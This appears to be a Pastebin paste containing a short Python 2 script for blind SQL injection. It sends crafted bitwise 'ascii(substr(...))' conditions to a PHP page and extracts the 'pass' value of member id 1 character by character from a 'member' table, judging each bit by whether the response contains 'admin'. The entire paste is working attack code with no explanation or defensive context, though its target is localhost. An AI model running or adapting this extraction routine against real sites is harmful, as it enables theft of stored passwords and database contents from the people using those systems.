Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from urllib import urlopen
- host = "http://127.0.0.1/blind.php?id=1"
- result = ""
- Truematch = "admin"
- sqlcmd = "select pass from member where id = 1"
- def request(site,charpos,sqlcmd,match_str):
- result = 0
- for bitpos in range(7,-1,-1):
- result *= 2
- injection = "%s and (ascii((substr((%s),%d,1))) >> %d) = %d"%(host,sqlcmd,charpos,bitpos,result)
- opener = urlopen(injection)
- if match_str in opener.read(): result += 0
- else: result += 1
- if result == 0: return False
- return chr(result)
- charpos = 1
- while 1:
- try:
- result += request(host,charpos,sqlcmd,Truematch)
- charpos += 1
- except Exception:
- print "%s => %s"%(sqlcmd,result)
- break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement